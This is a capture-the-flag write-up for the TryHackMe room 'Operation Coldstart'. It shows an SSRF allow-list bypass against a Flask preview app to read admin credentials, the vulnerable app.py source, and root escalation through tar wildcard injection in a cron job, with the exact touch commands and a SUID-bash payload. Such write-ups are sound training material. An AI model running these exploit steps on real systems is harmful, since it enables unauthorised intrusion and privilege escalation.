Operation Coldstart

Wake up the staging server everyone left behind. - by l000gic & yathots

Operation ColdstartTryHackMe

The following post by 0xb0b is licensed under CC BY 4.0

---

Scenario

Volt Labs, a small SaaS shop, suspects an old staging server has rotted into an exposed liability. Mara has assigned you the engagement. Find your way in and demonstrate full compromise.

Summary

Summary

In Operation Coldstart, we begin with external enumeration and discover FTP on port 21 with anonymous login enabled, alongside SSH on port 22 and a web server on port 80. Anonymous FTP access yields a backup.tar.gz containing the Flask source app.py, which reveals a URL Preview Service gated by a hostname allow-list of kestrel.thm and an /admin/ area restricted to loopback clients. Since kestrel.thm resolves to 127.0.0.1 via the server's internal /etc/hosts, the allow-list check passes while the request still hits localhost, enabling SSRF against the internal admin endpoint. We preview http://kestrel.thm/admin/notes through the /preview route, extract the webdev credentials stored in admin_notes.txt, and log in via SSH to retrieve the user flag at /home/webdev/user.txt.

For privilege escalation, we enumerate cron jobs and find /etc/cron.d/voltlabs-backup running tar czf with a wildcard * inside /opt/backups as root. Since webdev can write to that directory, we exploit tar's wildcard injection by creating files named --checkpoint=1 and --checkpoint-action=exec=sh shell.sh alongside a shell.sh that copies /bin/bash to /tmp and sets the SUID bit. When the cron job fires, tar interprets the crafted filenames as flags and executes our script as root, after which /tmp/bash -p drops us into a root shell and we read the final flag at /root/flag.txt.

Recon

We use rustscan -b 500 -a operation-coldstart.thm --top -- -sC -sV -Pn to enumerate all TCP ports on the target machine, piping the discovered results into Nmap which runs default NSE scripts -sC, service and version detection -sV, and treats the host as online without ICMP echo -Pn.

A batch size of 500 trades speed for stability, the default 1500 balances both, while much larger sizes increase throughput but risk missed responses and instability.

rustscan -b 500 -a operation-coldstart.thm --top -- -sC -sV -Pn

We have three ports open, FTP on port 21 which allows anonymous login, SSH on port 22 and a web server running on port 80.

We log in to the FTP server using anonymous and without a password, and find a backup in the public directory, which we download.

ftp operation-coldstart.thm

We unzip this backup and find a file named app.py. It's likely the source code for the site.

tar xfz backup.tar.gz

The site is a flask-based "URL Preview Service" for Volt Labs that fetches a user-supplied URL and renders its contents on the page, gated by a hostname allow-list kestrel.thm. It also exposes an /admin/ area restricted to loopback clients, including an /admin/notes endpoint that reads admin_notes.txt from disk.

From the comments, we can see that kestrel.thm resolves to 127.0.0.1 in the internal /etc/hosts file. And the admin endpoint is only accessible internally.

app.py

from flask import Flask, request, abort
from urllib.parse import urlparse
import html
import requests

app = Flask(__name__)

# Only requests targeting an approved internal hostname are forwarded.
# Internal hostname resolves to 127.0.0.1 via /etc/hosts on this box.
ALLOWED_HOSTS = {"kestrel.thm"}

CSS = """
<style>
:root{--primary:#0d6efd;--bg:#f6f8fa;--card:#fff;--text:#212529;--muted:#6c757d;--border:#dee2e6}
*{box-sizing:border-box}
body{margin:0;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,sans-serif;font-size:16px;line-height:1.5;color:var(--text);background:var(--bg)}
a{color:var(--primary);text-decoration:none}
a:hover{text-decoration:underline}
.navbar{background:#212529;color:#fff;padding:.75rem 1.5rem;display:flex;align-items:center;justify-content:space-between;box-shadow:0 1px 3px rgba(0,0,0,.08)}
.navbar .brand{font-weight:600;font-size:1.125rem;letter-spacing:.2px}
.navbar .muted-light{color:#a5acb3;font-size:.95rem}
.container{max-width:960px;margin:2rem auto;padding:0 1rem}
.card{background:var(--card);border:1px solid var(--border);border-radius:.5rem;padding:1.5rem;margin-bottom:1.25rem;box-shadow:0 1px 2px rgba(0,0,0,.04)}
h1{font-size:1.75rem;margin:0 0 .75rem}
h2{font-size:1.25rem;margin:1.25rem 0 .5rem}
.muted{color:var(--muted);font-size:.95rem}
.form-group{margin-bottom:1rem}
label{display:block;margin-bottom:.25rem;font-weight:500;font-size:.95rem}
.form-control{display:block;width:100%;padding:.5rem .75rem;font-size:1rem;line-height:1.5;color:var(--text);background:#fff;border:1px solid var(--border);border-radius:.375rem;transition:border-color .15s,box-shadow .15s}
.form-control:focus{outline:0;border-color:#86b7fe;box-shadow:0 0 0 .2rem rgba(13,110,253,.25)}
.btn{display:inline-block;padding:.5rem 1rem;font-size:1rem;font-weight:500;border:1px solid transparent;border-radius:.375rem;cursor:pointer;transition:background .15s}
.btn-primary{background:var(--primary);color:#fff}
.btn-primary:hover{background:#0b5ed7}
pre{background:#f1f3f5;border:1px solid var(--border);border-radius:.375rem;padding:.75rem;overflow:auto;font-size:.9rem;white-space:pre-wrap;word-break:break-word}
footer.site{text-align:center;color:var(--muted);margin:2rem 0;font-size:.875rem}
</style>
"""

def page(title, body):
    return f"""<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>{title} - Volt Labs</title>{CSS}</head>
<body>
<nav class="navbar">
    <span class="brand">Volt Labs</span>
    <span class="muted-light">URL Preview Service &middot; staging</span>
</nav>
<main class="container">{body}</main>
<footer class="site">&copy; Volt Labs &middot; do not expose externally</footer>
</body>
</html>"""

@app.route("/")
def index():
    body = """
    <div class="card">
        <h1>URL Preview Service</h1>
        <p class="muted">Internal tool. Paste a URL below to preview its contents.</p>
        <form method="get" action="/preview">
            <div class="form-group">
                <label for="url">URL</label>
                <input id="url" type="text" name="url" class="form-control" placeholder="https://example.com/" required>
            </div>
            <button type="submit" class="btn btn-primary">Preview</button>
        </form>
    </div>
    """
    return page("URL Preview", body)

@app.route("/preview")
def preview():
    target = request.args.get("url", "")
    if not target:
        return page("Preview Error",
                    '<div class="card"><p>Provide a <code>?url=</code> parameter.</p></div>'), 400

    # VULN: hostname allow-list is the only check. No scheme check, no path check,
    # no localhost-rebind protection - the SSRF is still abusable, but only
    # against the allowed hostname.
    host = (urlparse(target).hostname or "").lower()
    if host not in ALLOWED_HOSTS:
        return page("Preview Blocked",
                    '<div class="card"><p>Host not in the approved internal allow-list.</p></div>'), 403

    try:
        r = requests.get(target, timeout=3)
        safe_target = html.escape(target)
        safe_body = r.text.replace("<", "&lt;")
        body = f"""
        <div class="card">
            <h2>Preview of {safe_target}</h2>
            <pre>{safe_body}</pre>
        </div>
        """
        return page("Preview", body)
    except Exception as e:
        safe_err = html.escape(str(e))
        return page("Preview Failed",
                    f'<div class="card"><p>Fetch failed: {safe_err}</p></div>'), 502

@app.route("/admin/")
@app.route("/admin/<path:p>")
def admin(p="index"):
    if not request.remote_addr.startswith("127."):
        abort(403)
    if p == "notes":
        with open("/opt/voltlabs-preview/admin_notes.txt") as f:
            return "<pre>" + f.read() + "</pre>"
    return "<pre>Volt Labs admin endpoint.</pre>"

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=80)

Shell as webdev

We open the page and see the URL preview in front of us.

http://operation-coldstart.thm/

We are unable to identify any additional directories using our Feroxbusters directory scan.

feroxbuster -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -u 'http://operation-coldstart.thm/'

We first try to get a preview from localhost, but we get a message saying it's not on the allow list. As expected.

http://operation-coldstart.thm

However, we can preview the page at http://kestrel.thm.

http://kestrel.thm/

http://operation-coldstart.thm/preview?url=http://kestrel.thm

We also have access to the internal admin endpoint.

http://operation-coldstart.thm/preview?url=http://kestrel.thm/admin

We preview the /admin/note endpoint and receive the credentials from the webdev user.

http://operation-coldstart.thm/preview?url=http://kestrel.thm/admin/notes

Next, we try to log in via SSH using the credentials and are successful. We are webdev and find the user flag at /home/webdev/user.txt.

ssh [e-mail]

Shell as root

While enumerating the targets, we came across the following cron job, which uses tar run by root.

cat /etc/cron.d/voltlabs-backup

The command allows a wildcard injection like depicted in hacktricks:

https://hacktricks.wiki/en/linux-hardening/privilege-escalation/wildcards-spare-tricks.html#tarhacktricks.wiki

When root's cron runs tar czf out.tgz * in a directory you can write to, the shell expands * to whatever filenames exist there. So files named --checkpoint=1 and --checkpoint-action=exec=sh shell.sh get passed to tar as actual command-line flags. Tar's --checkpoint-action=exec= runs a shell command at each checkpoint, so it executes shell.sh as root.

With that we copy the bash binary to tmp and make it a SUID binary owned by root.

cd /opt/backups

echo 'cp /bin/bash /tmp/bash && chmod +s /tmp/bash' > shell.sh

touch -- '--checkpoint=1'

touch -- '--checkpoint-action=exec=sh shell.sh'

Once root runs e.g. tar -czf /root/backup.tgz *, shell.sh is executed as root.

After a short duration we have the SUID bash binary at tmp.

We run it in the context of root and get a root shell. The final flag is found at /root/flag.txt.

/tmp/bash -p